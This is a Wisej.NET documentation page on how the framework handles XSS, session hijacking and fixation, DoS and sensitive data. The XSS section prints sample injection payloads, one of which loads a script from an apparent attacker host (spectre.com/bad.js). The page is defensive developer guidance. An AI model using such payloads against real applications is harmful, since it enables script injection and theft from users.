Security

Search…
Security
Security is a very important topic especially when dealing with web applications. Wisej is secure by design and supports all the latest security defenses. Below you will find the most common threats and a description of how they are handled.
HTML/Script Injection
One of the biggest difference between a traditional HTML-based ASP.NET/MVC/JSP/... application and a Single Page Application (SPA) is that the traditional HTML-based application concatenates HTML strings on the server and sends them back to the client together with scripts, and parses HTML requests from the browser, while an SPA (in our case a Real Time Web Application) doesn't build or parse HTML strings.
In Wisej, everything happens by managing the DOM in the browser while communicated with the server through Ajax JSON packets. There is no possibility of injecting HTML or JavaScripts because we don't use HTML and scripts are not executed (they are simply text) when manipulating the DOM directly.
Cross Site Scripting (XSS)
Cross Site Scripting (XSS) Software Attack | OWASP Foundation
Cross-Site Scripting is a form of script injection that can actually work in a Wisej.NET application if you display HTML text without encoding or without "sanitizing" it.
A malicious user can enter text like this in a TextBox or DataGridView cell:
<img src="x" src="alert('Hello')" />
​
<!-- Or better -->
​
<img src="x" src="e=document.createElement('script');
                  e.src='http://spectre.com/bad.js';
                  document.head.append(e)" />
If your application display the text above as HTML the script will execute. If the content is displayed to other users, the script can theoretically steal anything on the screen.
Wisej.NET by default encodes all texts sent to the browser. Any HTML text will just display as text. 
However, if you have set the AllowHtml property to true (on labels, grid columns, buttons, tree nodes, any control that displays text) then Wisej will not encode the HTML and the malicious script will run.
Additionally, if you use a MessageBox or an AlertBox to display a message and concatenate a text (a user name, file name, ...) entered by a malicious user, the HTML will run on the browser because AllowHtml is true by default on MessageBox and AlertBox.
You can either sanitize the text or turn html off like this (MessageBox and AlertBox have the allowHtml optional argument in the Show method):
MessageBox.Show(badText, allowHtml:false);
Starting from Wisej.NET 3.0.10, we have also added a global method that allows your application to process any user input, regardless of which control it comes from. You can assign your own method to the pluggable function TextUtils.ConvertToString(owner, value). This is the default implementation in Wisej.NET:
C#
VB.NET
TextUtils.ConvertToString = (owner, value) =>
{
  if (value == null)
    return null;
  else if (value is string)
    return (string)value;
  else if (value is DateTime)
    return ((DateTime)value).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture);
  else
    return Convert.ToString(value);
};
TextUtils.ConvertToString = 
  Function(owner, value)
    If value Is Nothing
      Return Nothing;
    Else If TypeOf value Is String
      Return CType(value, String)
    Else If TypeOf value Is DateTime
      return CType(value, DateTime).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture)
    Else
      Return Convert.ToString(value)
  End Function
In your implementation of TextUtils.ConvertToString(owner, value) you can "clean up" any user input before it's assigned to the control. The argument "owner" is the component that is receiving the user input.
Session Hijacking
Session hijacking attack Software Attack | OWASP Foundation
This is a common problem for all web applications that maintain a session. Binding a session to a user requires either a session cookie or a session id added to the URL.
If someone gets hold of a live session id, they can easily access a live session and breach an application (session hijacking). According to Microsoft, there is very little that can be done to prevent this type of attack when using ASP.NET/MVC. Especially when using the cookieless mode and the session id is added to the URL.
Wisej supports both cookies and cookieless modes, when cookieless is turned on, the session id is plainly visible in the URL. In order to prevent session hijacking, Wisej generates a client fingerprint hash using all the information received by the browser and validates each request. If the client fingerprint doesn't match, Wisej assumes that it's a new client and starts a new session.
The WebSocket connection adds an additional layer of protection since it is impossible to attach two live sockets to the same session. Wisej can also force the client browser to use SSL (https: and wss: for WebSocket) by setting the secure setting to true.
Typical real-time exchange in Wisej. The request is sent in plain JSON and carries the session id.
When using WebSocket, it is impossible to send a spoofed request to the same session. When using only HTTP, the computer of the attacker much be identical to the computer of the client that initiated the session, including the browser version, OS, and IP address!
The session hijacking attack as described by OWASP is fully blocked by Wisej on the server side, making the system "secure by design".
Session Fixation
Session fixation Software Attack | OWASP Foundation
The session fixation attach, as described by OWASP, is a form of "reverse session hijacking. In this scenario, the attacker creates a valid session, then "fixes" the session on the victim's machine using some unspecified means.
The attacks described by OWAP at the page above are preposterous. Something like this doesn't work and has never worked in any browser: http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>
Once the "session is fixated", the victim proceeds to login the application. Resulting in the authentication of the attacker's session. This naïve attack doesn't have a chance of working with Wisej. The server immediately invalidates the "fixed" session id and assigns a brand new session to the victim.
The session fixation attack described by OWAP is fully blocked by Wisej on the server side, making the system "secure by design".
DoS Attacks
We didn't include code to protect against denial of service attacks (DoS) because it would still be too late once it reaches the http handler. We can ameliorate a DoS event but it doesn't help much at that level since IIS has already used a thread. DoS attacks are better handled at the OS level before they reach the web server, whether it’s apache or IIS. There are also several HttpHandler samples around, but, again, at the handler level it may be too late to effectively stop a DoS attack.
Authentication
Wisej can authenticate users using any authentication method available to a .NET application. Since nothing is shown to the user - no page, form, or control - or even created, unless your application has created it, your application can perform any kind of authentication before enabling the user to access its resources.
In addition to code authentication, Wisej supports the standard IIS authentication methods and makes the user credentials available to your code in Application.UserIdentity.
Sensitive Data, Keys, Code, Tokens
Traditional HTML-based systems always end up with a mix of javascript on the client, callbacks, postbacks, services, API keys, and so on. A potential intruder can look at the code/page/source and may be able to acquire sensitive information.
The same vulnerability is actually bigger on SPA systems without a server side, like ExtJS, or even standalone qooxdoo, dojo, or any javascript-only framework. You have to put quite a lot of business-logic, visual-logic, and access keys on the client and anything on the client can be inspected. If the JavaScript application needs to use the server - any real application needs to use a server for data storage and other services - you may also have vulnerable end points on the server.
With Wisej absolutely nothing from your application code makes it to the client (unless you put it there). Everything runs safely on the server and all the communications between the server and the client are either property updates or events.
Disabled or Hidden Controls
Wisej performs a second check on the server side to verify that "executable" controls that have fired a click event to the server are indeed enabled and visible. Otherwise, a user could use the browser's dev-tools to perform a click on hidden or disabled controls.
Concepts - Previous
JavaScript Object Model
Next - Concepts
Synchronization
Last modified 2mo ago
Export as PDF
Copy link
Outline
HTML/Script Injection
Cross Site Scripting (XSS)
Sensitive Data, Keys, Code, Tokens
Disabled or Hidden Controls